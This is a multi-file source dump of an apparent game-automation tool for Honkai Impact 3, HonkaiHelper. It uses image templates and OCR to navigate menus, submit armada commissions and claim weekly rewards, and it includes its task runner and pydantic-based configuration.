33 | loop_timer = Timer(0, 10).start()
34 | while True:
35 | if loop_timer.reached():
36 | raise LoopError('The operation has looped too many times')
37 |
38 | if exists(Template(r"COMMISSION_SUBMIT.png", (0.237, 0.224), Keyword('提交'), rgb=True)):
39 | break
40 |
41 | if find_click(Template(r"COMMISSION_MAX.png", (0.002, 0.161), Keyword('最大'))):
42 | find_click(Template(r"COMMISSION_BUY.png", (0.275, 0.162), Keyword('购买')), times=2)
43 | continue
44 |
45 | touch(Template(r"COMMISSION_LACK.png", (-0.398, -0.103)), blind=True)
46 |
47 | @run_until_true
48 | def _apply_new(self):
49 | logger.info('Applying for new commission')
50 | ocr = DigitCounter(Template(r"COMMISSION_REQUEST.png", (-0.36, 0.225)))
51 | if ocr.ocr_single_line(screenshot())[0] == 0:
52 | find_click(Template(r"COMMISSION_REQUEST.png", (-0.36, 0.225)), blind=True)
53 | find_click(Template(r"COMMISSION_REQUEST_FLAG.png", (-0.378, -0.18), Keyword('委托申请次数')),
54 | Template(r"COMMISSION_ACCEPT.png", (0.375, -0.079), Keyword('接受')),
55 | times=2)
56 | logger.info('New commission request completed')
57 | return True
58 | return False
59 |
60 | def commission(self):
61 | logger.info('Start commission process')
62 | self.ui_goto(page_commission)
63 | ocr = DigitCounter(Template(r"COMMISSION_COUNT.png", (0.43, 0.242)))
64 |
65 | loop_timer = Timer(0, 30).start()
66 | while True:
67 | if loop_timer.reached():
68 | raise LoopError('The operation has looped too many times')
69 |
70 | if ocr.ocr_single_line(screenshot())[0] == 0:
71 | logger.info('Commissions submit completed')
72 | break
73 |
74 | if self._apply_new():
75 | continue
76 |
77 | if find_click(Template(r"COMMISSION_SUBMIT.png", (0.237, 0.224), Keyword('提交'), rgb=True),
78 | timeout=0):
79 | continue
80 | if exists(Template(r"COMMISSION_SUBMIT_LACK.png", (0.237, 0.225), Keyword('提交'), rgb=True)):
81 | logger.info('Insufficient commission materials, suggest to buy in advance to speed up')
82 | self._handel_lack()
83 | find_click(Template(r"COMMISSION_SUBMIT_CONFIRM.png", (0.135, 0.159), Keyword('提交委托')),
84 | timeout=0)
85 | find_click(Template(r"COMMISSION_PUT.png", (0.0, 0.137), Keyword('放入舰团奖励池')),
86 | times=2, timeout=0)
87 |
88 | def run(self):
89 | self.ui_ensure(page_armada)
90 | self.commission()
91 | self.claim_rewards()
92 |
--------------------------------------------------------------------------------
/main.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | import ctypes
3 | import datetime
4 | import json
5 | import sys
6 | from pathlib import Path
7 |
8 | from loguru import logger
9 | from zafkiel import simple_report, auto_setup
10 |
11 | from config import Config
12 | from tasks.armada import Armada
13 | from tasks.dorm_bonus import DormBonus
14 | from tasks.errand import Errand
15 | from tasks.expedition import Expeditions
16 | from tasks.login import Login
17 | from tasks.mail import Mail
18 | from tasks.mission import Missions
19 | from tasks.sweep import Sweep
20 | from tasks.weekly_reward import WeeklyReward
21 |
22 | logger.remove()
23 | logger.add(sys.stdout, level="INFO", format="{time:HH:mm:ss} | "
24 | "{level: <7} | "
25 | "{message}",
26 | )
27 | date = datetime.datetime.now().strftime("%Y-%m-%d")
28 | logger.add(f'./log/{date}/{date}.log', level="DEBUG", format="{time:HH:mm:ss} | "
29 | "{level: <7} | "
30 | "{message}",
31 | )
32 |
33 |
34 | def all_tasks(config):
35 | try:
36 | # 日常
37 | Login(config).app_start()
38 | Missions(config).run()
39 | DormBonus(config).claim_stamina()
40 | DormBonus(config).claim_gold()
41 | Errand(config).run()
42 | Expeditions(config).run()
43 | Armada(config).run()
44 | Sweep(config).run()
45 | Missions(config).run()
46 | Mail(config).run()
47 | WeeklyReward(config).run()
48 |
49 | # 结束游戏进程
50 | Login(config).app_stop()
51 |
52 | except Exception as e:
53 | logger.exception(e)
54 | raise
55 |
56 | finally:
57 | simple_report(__file__, log_path=Path(f'./log/{date}/report').resolve(), output=f'./log/{date}/report.html')
58 |
59 |
60 | def single_task(config, task):
61 | try:
62 | if task != 'login':
63 | auto_setup(str(Path.cwd()), logdir=f'./log/{date}/report', devices=["WindowsPlatform:///?title=崩坏3", ])
64 |
65 | if task == 'armada':
66 | Armada(config).run()
67 | elif task == 'dorm_bonus':
68 | DormBonus(config).run()
69 | elif task == 'errand':
70 | Errand(config).run()
71 | elif task == 'expedition':
72 | Expeditions(config).run()
73 | elif task == 'login':
74 | Login(config).app_start()
75 | elif task == 'logout':
76 | Login(config).app_stop()
77 | simple_report(__file__, log_path=Path(f'./log/{date}/report').resolve(), output=f'./log/{date}/report.html')
78 | elif task == 'mail':
79 | Mail(config).run()
80 | elif task == 'mission':
81 | Missions(config).run()
82 | elif task == 'sweep':
83 | Sweep(config).run()
84 | elif task == 'weekly_reward':
85 | WeeklyReward(config).run()
86 | except Exception as e:
87 | simple_report(__file__, log_path=Path(f'./log/{date}/report').resolve(), output=f'./log/{date}/report.html')
88 | logger.error(e)
89 | raise
90 |
91 |
92 | def main():
93 | parser = argparse.ArgumentParser()
94 | parser.add_argument('--task', '-t',
95 | choices=["armada", "dorm_bonus", "errand", "expedition", "login", "logout", "mail",
96 | "mission", "sweep", "weekly_reward"],
97 | help='Task name, one of "armada, dorm_bonus, errand, expedition, login, logout, mail, '
98 | 'mission, sweep, weekly_reward"')
99 | parser.add_argument('--config_path', '-c', default='./config/config.json')
100 | args = parser.parse_args()
101 |
102 | if args.task:
103 | config_path = Path(args.config_path).resolve()
104 | if not config_path.exists():
105 | logger.error(f'{config_path} not found')
106 | return
107 | config = Config(config_path)
108 | single_task(config, args.task)
109 | else:
110 | config = Config('./config/default.json')
111 | all_tasks(config)
112 |
113 |
114 | if __name__ == '__main__':
115 | # 以管理员身份运行
116 | if ctypes.windll.shell32.IsUserAnAdmin():
117 | main()
118 | else:
119 | ctypes.windll.shell32.ShellExecuteW(None, 'runas', sys.executable, __file__, None, 1)
120 |
--------------------------------------------------------------------------------
/tasks/weekly_reward.py:
--------------------------------------------------------------------------------
1 | import datetime
2 | import time
3 |
4 | from zafkiel import Template, exists, find_click, touch, logger
5 | from zafkiel.ocr import Keyword
6 | from zafkiel.ui import UI
7 |
8 | from config import Config
9 | from tasks.base.page import TPL_RETURN_BUTTON, page_missions, TPL_CONFIRM_BUTTON, page_main, TPL_NEW_ITEM, \
10 | page_armada_contribution
11 | from tasks.base.popup import popup_handler
12 | from tasks.base.switch import TPL_BP_MISSIONS_TAB, TPL_BP_REWARDS_TAB
13 |
14 |
15 | class WeeklyReward(UI):
16 | def __init__(self, config: Config):
17 | self.config = config
18 |
19 | now = datetime.datetime.now()
20 | monday = now - datetime.timedelta(days=now.weekday())
21 | self.monday_4am = monday.replace(hour=4, minute=0, second=0, microsecond=0).timestamp()
22 |
23 | def share(self):
24 | if not self.config.data['WeeklyReward']['WeeklyEvent']['share']:
25 | return
26 |
27 | if self.config.data['WeeklyReward']['WeeklyEvent']['share_time'] > self.monday_4am:
28 | logger.info('Weekly sharing already completed')
29 | return
30 |
31 | self.ui_ensure(page_missions, TPL_BP_MISSIONS_TAB)
32 | if exists(Template(r"WEEKLY_SHARE.png", (-0.196, -0.134), Keyword('每周分享'))):
33 | find_click(Template(r"GOTO_SHARE.png", (0.013, -0.083), Keyword('前往')))
34 | touch(Template(r"SHARE_ITEM.png", (-0.199, -0.095)), blind=True)
35 | find_click(Template(r"SHARE_BUTTON.png", (-0.35, 0.222)), times=2)
36 | find_click(TPL_RETURN_BUTTON)
37 | logger.info('Weekly sharing completed')
38 | else:
39 | # 若已经手动完成
40 | logger.info('Weekly sharing already completed')
41 | self.config.update('WeeklyReward', 'WeeklyEvent', 'share_time', time.time())
42 |
43 | def homo_chest(self):
44 | if not self.config.data['WeeklyReward']['WeeklyEvent']['homo_chest']:
45 | return
46 |
47 | if self.config.data['WeeklyReward']['WeeklyEvent']['homo_chest_time'] > self.monday_4am:
48 | logger.info('Weekly homo chest already claimed')
49 | return
50 |
51 | self.ui_ensure(page_main)
52 | find_click(Template(r"MAIN_GOTO_MALL.png", (-0.423, 0.076)))
53 | find_click(Template(r"GOTO_GIFT.png", (-0.355, -0.123), Keyword('礼包')))
54 | find_click(Template(r"GOTO_WEEKLY_GIFT.png", (-0.355, -0.005), Keyword('周期')))
55 | if find_click(Template(r"BUY_HOMO_CHEST.png", (-0.207, 0.041), Keyword('免费'))):
56 | find_click(Template(r"HOMO_CHEST_CONFIRM.png", (-0.002, 0.18), Keyword('免费')))
57 | find_click(TPL_CONFIRM_BUTTON)
58 | logger.info('Weekly homo chest claim completed')
59 | else:
60 | logger.info('Weekly homo chest already claimed')
61 | self.config.update('WeeklyReward', 'WeeklyEvent', 'homo_chest_time', time.time())
62 | find_click(TPL_RETURN_BUTTON)
63 |
64 | def bp_chest(self):
65 | if not self.config.data['WeeklyReward']['WeeklyEvent']['bp_chest']:
66 | return
67 |
68 | if self.config.data['WeeklyReward']['WeeklyEvent']['bp_chest_time'] > self.monday_4am:
69 | logger.info('Weekly bp chest already claimed')
70 | return
71 |
72 | self.ui_ensure(page_missions, TPL_BP_REWARDS_TAB)
73 | if find_click(Template(r"BP_CHEST.png", (0.334, 0.203))):
74 | find_click(TPL_NEW_ITEM, timeout=2)
75 | find_click(TPL_CONFIRM_BUTTON)
76 | popup_handler.handle_bp_reward()
77 | logger.info('Weekly bp chest claim completed')
78 | else:
79 | logger.info('Weekly bp chest already claimed')
80 | self.config.update('WeeklyReward', 'WeeklyEvent', 'bp_chest_time', time.time())
81 |
82 | def armada_contribution_reward(self):
83 | if not self.config.data['WeeklyReward']['WeeklyEvent']['armada_contribution']:
84 | return
85 |
86 | if self.config.data['WeeklyReward']['WeeklyEvent']['armada_contribution_time'] > self.monday_4am:
87 | logger.info('Armada contribution reward already claimed')
88 | return
89 |
90 | self.ui_ensure(page_armada_contribution)
91 | if exists(Template(r"CONTRIBUTION_FULL.png", (-0.325, -0.123))):
92 | find_click(Template(r"CONTRIBUTION_REWARD.png", (-0.442, -0.122)))
93 | find_click(TPL_CONFIRM_BUTTON)
94 | self.config.update('WeeklyReward', 'WeeklyEvent', 'armada_contribution_time', time.time())
95 | logger.info('Armada contribution reward claim completed')
96 | elif exists(Template(r"CONTRIBUTION_CLAIMED.png", (-0.324, -0.122))):
97 | self.config.update('WeeklyReward', 'WeeklyEvent', 'armada_contribution_time', time.time())
98 | logger.info('Armada contribution reward already claimed')
99 | else:
100 | logger.info('Armada contribution reward not available')
101 |
102 | def run(self):
103 | self.share()
104 | self.homo_chest()
105 | self.bp_chest()
106 | self.armada_contribution_reward()
107 |
108 |
109 |
--------------------------------------------------------------------------------
/config/args.json:
--------------------------------------------------------------------------------
1 | {
2 | "Project": {
3 | "General": {
4 | "_Base": {
5 | "work_dir": "./examples/HonkaiHelper",
6 | "work_dir_enabled": true,
7 | "is_background": false,
8 | "is_background_enabled": true,
9 | "config_path": "./examples/HonkaiHelper/config/config.json",
10 | "config_path_enabled": true
11 | },
12 | "Game": {
13 | "game_path": {
14 | "type": "input",
15 | "value": "",
16 | "option": [],
17 | "hide": false
18 | },
19 | "log_retain": {
20 | "type": "select",
21 | "value": "1week",
22 | "option": [
23 | "1day",
24 | "3days",
25 | "1week",
26 | "1month"
27 | ],
28 | "hide": false
29 | }
30 | }
31 | },
32 | "Update": {
33 | "_Base": {
34 | "repo_url": "https://gitee.com/aues6uen11z/HonkaiHelper",
35 | "repo_url_enabled": true,
36 | "branch": "master",
37 | "branch_enabled": true,
38 | "local_path": "./examples/HonkaiHelper",
39 | "local_path_enabled": true,
40 | "template_path": "config",
41 | "template_path_enabled": true,
42 | "env_name": "zafkiel",
43 | "pip_mirror": "https://pypi.tuna.tsinghua.edu.cn/simple"
44 | }
45 | }
46 | },
47 | "Daily": {
48 | "Login": {
49 | "_Base": {
50 | "priority": 0,
51 | "priority_enabled": false,
52 | "command": "py main.py -t login",
53 | "command_enabled": true
54 | }
55 | },
56 | "Logout": {
57 | "_Base": {
58 | "priority": 100,
59 | "priority_enabled": false,
60 | "command": "py main.py -t logout",
61 | "command_enabled": true
62 | }
63 | },
64 | "Mission1": {
65 | "_Base": {
66 | "priority": 1,
67 | "priority_enabled": false,
68 | "command": "py main.py -t mission",
69 | "command_enabled": true
70 | }
71 | },
72 | "Mission2": {
73 | "_Base": {
74 | "priority": 8,
75 | "priority_enabled": false,
76 | "command": "py main.py -t mission",
77 | "command_enabled": true
78 | }
79 | },
80 | "Sweep": {
81 | "_Base": {
82 | "priority": 6,
83 | "priority_enabled": true,
84 | "command": "py main.py -t sweep",
85 | "command_enabled": true
86 | }
87 | },
88 | "Mail": {
89 | "_Base": {
90 | "priority": 7,
91 | "priority_enabled": true,
92 | "command": "py main.py -t mail",
93 | "command_enabled": true
94 | }
95 | },
96 | "DormBonus": {
97 | "_Base": {
98 | "priority": 2,
99 | "priority_enabled": true,
100 | "command": "py main.py -t dorm_bonus",
101 | "command_enabled": true
102 | }
103 | },
104 | "Expedition": {
105 | "_Base": {
106 | "priority": 4,
107 | "priority_enabled": true,
108 | "command": "py main.py -t expedition",
109 | "command_enabled": true
110 | }
111 | },
112 | "Errand": {
113 | "_Base": {
114 | "priority": 3,
115 | "priority_enabled": true,
116 | "command": "py main.py -t errand",
117 | "command_enabled": true
118 | }
119 | },
120 | "Armada": {
121 | "_Base": {
122 | "priority": 5,
123 | "priority_enabled": true,
124 | "command": "py main.py -t armada",
125 | "command_enabled": true
126 | }
127 | }
128 | },
129 | "Weekly": {
130 | "WeeklyReward": {
131 | "_Base": {
132 | "priority": 9,
133 | "priority_enabled": true,
134 | "command": "py main.py -t weekly_reward",
135 | "command_enabled": true
136 | },
137 | "WeeklyEvent": {
138 | "share": {
139 | "type": "checkbox",
140 | "value": true,
141 | "option": [],
142 | "hide": false
143 | },
144 | "share_time": {
145 | "type": "input",
146 | "value": 0.0,
147 | "option": [],
148 | "hide": true
149 | },
150 | "homo_chest": {
151 | "type": "checkbox",
152 | "value": true,
153 | "option": [],
154 | "hide": false
155 | },
156 | "homo_chest_time": {
157 | "type": "input",
158 | "value": 0.0,
159 | "option": [],
160 | "hide": true
161 | },
162 | "bp_chest": {
163 | "type": "checkbox",
164 | "value": true,
165 | "option": [],
166 | "hide": false
167 | },
168 | "bp_chest_time": {
169 | "type": "input",
170 | "value": 0.0,
171 | "option": [],
172 | "hide": true
173 | },
174 | "armada_contribution": {
175 | "type": "checkbox",
176 | "value": true,
177 | "option": [],
178 | "hide": false
179 | },
180 | "armada_contribution_time": {
181 | "type": "input",
182 | "value": 0.0,
183 | "option": [],
184 | "hide": true
185 | }
186 | }
187 | }
188 | }
189 | }
--------------------------------------------------------------------------------
/tasks/base/page.py:
--------------------------------------------------------------------------------
1 | from zafkiel import Template
2 | from zafkiel.ocr import Keyword
3 | from zafkiel.ui import Page
4 |
5 | from tasks.base.switch import switch_missions, switch_expeditions, TPL_GOTO_ATTACK, switch_battle
6 |
7 | TPL_RETURN_BUTTON = Template(r"RETURN_BUTTON.png", (-0.444, -0.256), Keyword('返回'))
8 | TPL_HOME_BUTTON = Template(r"HOME_BUTTON.png", (-0.298, -0.257), Keyword('主菜单'))
9 | TPL_CONFIRM_BUTTON = Template(r"CONFIRM_BUTTON.png", (0.0, 0.144), Keyword('确定'))
10 | TPL_NEW_ITEM = Template(r"NEW_ITEM_POPUP.png", (0.289, -0.01))
11 |
12 | # 主界面
13 | page_main = Page(Template(r"MAIN_FLAG.png", (0.281, 0.043), rgb=True))
14 |
15 | # 家园界面
16 | page_dorm = Page(Template(r"DORM_STAMINA.png", (-0.34, -0.059)))
17 | page_dorm.link(TPL_RETURN_BUTTON,
18 | destination=page_main)
19 | page_main.link(Template(r"MAIN_GOTO_DORM.png", (0.354, 0.244), Keyword('家园')),
20 | destination=page_dorm)
21 |
22 | # 舰团界面
23 | page_armada = Page(Template(r"ARMADA_FLAG.png", (0.113, 0.076)))
24 | page_armada.link(TPL_RETURN_BUTTON,
25 | destination=page_main)
26 | page_main.link(Template(r"MAIN_GOTO_ARMADA.png", (0.195, 0.244), Keyword('舰团')),
27 | destination=page_armada)
28 |
29 | # 舰团委托界面
30 | page_commission = Page(Template(r"COMMISSION_FLAG.png", (-0.392, -0.183), Keyword('回收委托')))
31 | page_commission.link(TPL_RETURN_BUTTON,
32 | destination=page_armada)
33 | page_commission.link(TPL_HOME_BUTTON,
34 | destination=page_main)
35 | page_armada.link(Template(r"ARMADA_GOTO_COMMISSION.png", (-0.113, 0.227), Keyword('委托回收')),
36 | destination=page_commission)
37 |
38 | # 舰团奖池界面
39 | page_armada_rewards = Page(Template(r"ARMADA_REWARD_FLAG.png", (-0.394, -0.184), Keyword('舰团奖池')))
40 | page_armada_rewards.link(TPL_RETURN_BUTTON,
41 | destination=page_armada)
42 | page_armada_rewards.link(TPL_HOME_BUTTON,
43 | destination=page_main)
44 | page_commission.link(Template(r"COMMISSION_GOTO_REWARD.png", (0.439, -0.104), Keyword('舰团奖池')),
45 | destination=page_armada_rewards)
46 |
47 | # 舰团贡献界面
48 | page_armada_contribution = Page(Template(r"ARMADA_CONTRIBUTION_FLAG.png", (-0.395, -0.184), Keyword('舰团贡献')))
49 | page_armada_contribution.link(TPL_RETURN_BUTTON,
50 | destination=page_armada)
51 | page_armada_contribution.link(TPL_HOME_BUTTON,
52 | destination=page_main)
53 | page_armada.link(Template(r"ARMADA_GOTO_CONTRIBUTION.png", (0.232, 0.23), Keyword('舰团贡献')),
54 | destination=page_armada_contribution)
55 |
56 | # BP任务界面
57 | page_missions = Page(Template(r"GOTO_BP_MISSIONS.png", (-0.417, -0.171), Keyword('作战任务')),
58 | switch=switch_missions)
59 | page_missions.link(TPL_RETURN_BUTTON,
60 | destination=page_main)
61 | page_main.link(Template(r"MAIN_GOTO_MISSIONS.png", (-0.453, -0.186)),
62 | destination=page_missions)
63 |
64 | # 邮件界面
65 | page_mail = Page(Template(r"MAIL_FLAG.png", (-0.456, 0.23), Keyword('邮件数')))
66 | page_mail.link(TPL_RETURN_BUTTON,
67 | destination=page_main)
68 | page_main.link(Template(r"MAIN_GOTO_MAIL.png", (-0.421, -0.029)),
69 | destination=page_mail)
70 |
71 | # 远征界面
72 | page_expeditions = Page(Template(r"EXPEDITION_FLAG.png", (-0.363, -0.183), Keyword('今日远征可用体力')),
73 | switch=switch_expeditions)
74 | page_expeditions.link(TPL_RETURN_BUTTON,
75 | destination=page_dorm)
76 | page_expeditions.link(TPL_HOME_BUTTON,
77 | destination=page_main)
78 | page_dorm.link(Template(r"DORM_GOTO_EXPEDITIONS.png", (0.155, 0.237), Keyword('远征')),
79 | destination=page_expeditions)
80 |
81 | # 远征派遣界面
82 | page_dispatch = Page(Template(r"QUICK_DISPATCH.png", (0.119, 0.227), Keyword('一键派遣')))
83 | page_dispatch.link(TPL_RETURN_BUTTON,
84 | destination=page_expeditions)
85 | page_dispatch.link(TPL_HOME_BUTTON,
86 | destination=page_main)
87 |
88 | # 打工界面
89 | page_errands = Page(Template(r"ERRANDS_FLAG.png", (-0.077, -0.258), rgb=True))
90 | page_errands.link(TPL_RETURN_BUTTON,
91 | destination=page_dorm)
92 | page_dorm.link(Template(r"DORM_GOTO_ERRANDS.png", (0.277, 0.235), Keyword('打工')),
93 | destination=page_errands)
94 |
95 | # 商店界面
96 | page_shop = Page(Template(r"SHOP_FLAG.png", (-0.474, -0.191)))
97 | page_shop.link(TPL_RETURN_BUTTON,
98 | destination=page_dorm)
99 | page_shop.link(TPL_HOME_BUTTON,
100 | destination=page_main)
101 | page_dorm.link(Template(r"DORM_GOTO_SHOP.png", (0.422, 0.237), Keyword('商店')),
102 | destination=page_shop)
103 |
104 | # 出击界面
105 | page_battle = Page(TPL_GOTO_ATTACK,
106 | switch=switch_battle)
107 | page_battle.link(Template(r"NEW_HOME_BUTTON.png", (-0.343, -0.252)),
108 | destination=page_main)
109 | page_main.link(Template(r"MAIN_GOTO_BATTLE.png", (0.421, -0.004), Keyword('出击')),
110 | destination=page_battle)
111 |
112 | # 材料活动界面
113 | page_lite = Page(Template(r"LITE_FLAG.png", (-0.001, -0.195), Keyword('材料活动')))
114 | page_lite.link(TPL_RETURN_BUTTON,
115 | destination=page_battle)
116 | page_lite.link(TPL_HOME_BUTTON,
117 | destination=page_main)
118 | page_battle.link(Template(r"BATTLE_GOTO_LITE.png", (0.114, 0.147)),
119 | destination=page_lite)
120 |
--------------------------------------------------------------------------------
/config.py:
--------------------------------------------------------------------------------
1 | import json
2 | from pathlib import Path
3 | from typing import Literal, List, Union
4 |
5 | from pydantic import BaseModel, Field
6 |
7 |
8 | class Argument(BaseModel):
9 | """
10 | Minimum setting
11 | """
12 | type: Literal['input', 'select', 'checkbox'] = 'input'
13 | value: Union[str, bool, float]
14 | option: List[str] = []
15 | hide: bool = False
16 |
17 |
18 | class GroupCustomBase(BaseModel):
19 | """
20 | Basic settings for every task
21 | """
22 | priority: int = 3
23 | priority_enabled: bool = True
24 | command: str = ''
25 | command_enabled: bool = True
26 |
27 |
28 | # 以下是实际设置内容
29 | # 任务级别
30 | class TaskGeneral(BaseModel):
31 | class GroupGeneralBase(BaseModel):
32 | """
33 | General settings for the project
34 | """
35 | work_dir: str = './examples/HonkaiHelper'
36 | work_dir_enabled: bool = True
37 | is_background: bool = False
38 | is_background_enabled: bool = True
39 | config_path: str = './examples/HonkaiHelper/config/config.json'
40 | config_path_enabled: bool = True
41 |
42 | class GroupGame(BaseModel):
43 | game_path: Argument = Argument(type='input', value='')
44 | log_retain: Argument = Argument(type='select', value='1week', option=['1day', '3days', '1week', '1month'])
45 |
46 | Base: GroupGeneralBase = Field(GroupGeneralBase(), alias='_Base')
47 | Game: GroupGame = GroupGame()
48 |
49 |
50 | class TaskUpdate(BaseModel):
51 | class GroupUpdateBase(BaseModel):
52 | """
53 | Git repository, python virtual environment update settings
54 | """
55 | repo_url: str = 'https://gitee.com/aues6uen11z/HonkaiHelper'
56 | repo_url_enabled: bool = True
57 | branch: str = 'master'
58 | branch_enabled: bool = True
59 | local_path: str = './examples/HonkaiHelper'
60 | local_path_enabled: bool = True
61 | template_path: str = 'config'
62 | template_path_enabled: bool = True
63 | env_name: str = 'zafkiel'
64 | pip_mirror: str = 'https://pypi.tuna.tsinghua.edu.cn/simple'
65 |
66 | Base: GroupUpdateBase = Field(GroupUpdateBase(), alias='_Base')
67 |
68 |
69 | class TaskArmada(BaseModel):
70 | Base: GroupCustomBase = Field(GroupCustomBase(
71 | command='py main.py -t armada', priority=5
72 | ), alias='_Base')
73 |
74 |
75 | class TaskDormBonus(BaseModel):
76 | Base: GroupCustomBase = Field(GroupCustomBase(
77 | command='py main.py -t dorm_bonus', priority=2
78 | ), alias='_Base')
79 |
80 |
81 | class TaskErrand(BaseModel):
82 | Base: GroupCustomBase = Field(GroupCustomBase(
83 | command='py main.py -t errand', priority=3
84 | ), alias='_Base')
85 |
86 |
87 | class TaskExpedition(BaseModel):
88 | Base: GroupCustomBase = Field(GroupCustomBase(
89 | command='py main.py -t expedition', priority=4
90 | ), alias='_Base')
91 |
92 |
93 | class TaskLogin(BaseModel):
94 | Base: GroupCustomBase = Field(GroupCustomBase(
95 | command='py main.py -t login', priority=0, priority_enabled=False
96 | ), alias='_Base')
97 |
98 |
99 | class TaskLogout(BaseModel):
100 | Base: GroupCustomBase = Field(GroupCustomBase(
101 | command='py main.py -t logout', priority=100, priority_enabled=False
102 | ), alias='_Base')
103 |
104 |
105 | class TaskMail(BaseModel):
106 | Base: GroupCustomBase = Field(GroupCustomBase(
107 | command='py main.py -t mail', priority=7
108 | ), alias='_Base')
109 |
110 |
111 | class TaskMission1(BaseModel):
112 | Base: GroupCustomBase = Field(GroupCustomBase(
113 | command='py main.py -t mission', priority=1, priority_enabled=False
114 | ), alias='_Base')
115 |
116 |
117 | class TaskMission2(BaseModel):
118 | Base: GroupCustomBase = Field(GroupCustomBase(
119 | command='py main.py -t mission', priority=8, priority_enabled=False
120 | ), alias='_Base')
121 |
122 |
123 | class TaskSweep(BaseModel):
124 | Base: GroupCustomBase = Field(GroupCustomBase(
125 | command='py main.py -t sweep', priority=6
126 | ), alias='_Base')
127 |
128 |
129 | class TaskWeeklyReward(BaseModel):
130 | class GroupWeeklyEvent(BaseModel):
131 | share: Argument = Argument(type='checkbox', value=True)
132 | share_time: Argument = Argument(type='input', value=0.0, hide=True)
133 |
134 | homo_chest: Argument = Argument(type='checkbox', value=True)
135 | homo_chest_time: Argument = Argument(type='input', value=0.0, hide=True)
136 |
137 | bp_chest: Argument = Argument(type='checkbox', value=True)
138 | bp_chest_time: Argument = Argument(type='input', value=0.0, hide=True)
139 |
140 | armada_contribution: Argument = Argument(type='checkbox', value=True)
141 | armada_contribution_time: Argument = Argument(type='input', value=0.0, hide=True)
142 |
143 | Base: GroupCustomBase = Field(GroupCustomBase(
144 | command='py main.py -t weekly_reward', priority=9
145 | ), alias='_Base')
146 | WeeklyEvent: GroupWeeklyEvent = GroupWeeklyEvent()
147 |
148 |
149 | # 任务组级别
150 | class MenuProject(BaseModel):
151 | General: TaskGeneral = TaskGeneral()
152 | Update: TaskUpdate = TaskUpdate()
153 |
154 |
155 | class MenuDaily(BaseModel):
156 | Login: TaskLogin = TaskLogin()
157 | Logout: TaskLogout = TaskLogout()
158 | Mission1: TaskMission1 = TaskMission1()
159 | Mission2: TaskMission2 = TaskMission2()
160 | Sweep: TaskSweep = TaskSweep()
161 | Mail: TaskMail = TaskMail()
162 | DormBonus: TaskDormBonus = TaskDormBonus()
163 | Expedition: TaskExpedition = TaskExpedition()
164 | Errand: TaskErrand = TaskErrand()
165 | Armada: TaskArmada = TaskArmada()
166 |
167 |
168 | class MenuWeekly(BaseModel):
169 | WeeklyReward: TaskWeeklyReward = TaskWeeklyReward()
170 |
171 |
172 | # 项目级别
173 | class UIContent(BaseModel):
174 | Project: MenuProject = MenuProject()
175 | Daily: MenuDaily = MenuDaily()
176 | Weekly: MenuWeekly = MenuWeekly()
177 |
178 |
179 | def gen_i18n(config: BaseModel, lang: str):
180 | trans_dict = {
181 | "Menu": {},
182 | "Task": {},
183 | }
184 |
185 | # Check if the file already exists
186 | file_path = f'./config/i18n/{lang}.json'
187 | if Path(file_path).exists():
188 | # Load the existing translations
189 | with open(file_path, 'r', encoding='utf-8') as f:
190 | old_trans_dict = json.load(f)
191 | else:
192 | old_trans_dict = {}
193 |
194 | for menu, tasks in config.model_dump(by_alias=True).items():
195 | trans_dict['Menu'][menu] = old_trans_dict.get('Menu', {}).get(menu, {'name': ''})
196 |
197 | for task, groups in tasks.items():
198 | trans_dict['Task'][task] = old_trans_dict.get('Task', {}).get(task, {'name': ''})
199 |
200 | for group, args in groups.items():
201 | if group == '_Base':
202 | continue
203 | if group not in trans_dict:
204 | trans_dict[group] = {}
205 |
206 | trans_dict[group]['_info'] = old_trans_dict.get(group, {}).get('_info', {'name': '', 'help': ''})
207 | for arg, info in args.items():
208 | trans_dict[group][arg] = old_trans_dict.get(group, {}).get(arg, {'name': '', 'help': ''})
209 | if info['type'] == 'select':
210 | for option in info['option']:
211 | trans_dict[group][arg][option] = old_trans_dict.get(group, {}).get(arg, {}).get(option, '')
212 |
213 | with open(file_path, 'w', encoding='utf-8') as f:
214 | json.dump(trans_dict, f, ensure_ascii=False, indent=2)
215 |
216 |
217 | def export() -> None:
218 | args = UIContent()
219 | with open('config/args.json', 'w') as f:
220 | f.write(args.model_dump_json(indent=2, by_alias=True))
221 |
222 | gen_i18n(args, 'zh-CN')
223 |
224 |
225 | class Config:
226 | def __init__(self, config_path):
227 | self.config_path = config_path
228 | with open('config/args.json', 'r') as f:
229 | args = json.load(f)
230 | with open(config_path, 'r') as f:
231 | self.data = json.load(f)
232 |
233 | # 只是为了校验数据
234 | for menu, tasks in args.items():
235 | for task, groups in tasks.items():
236 | for group, args in groups.items():
237 | if group == '_Base':
238 | continue
239 | for argument, info in args.items():
240 | info['value'] = self.data[task][group][argument]
241 | UIContent.parse_obj(args)
242 |
243 | def update(self, task, group, argument, value):
244 | self.data[task][group][argument] = value
245 | with open(self.config_path, 'w') as f:
246 | json.dump(self.data, f, ensure_ascii=False, indent=2)
247 |
248 |
249 | if __name__ == '__main__':
250 | export()
251 |
--------------------------------------------------------------------------------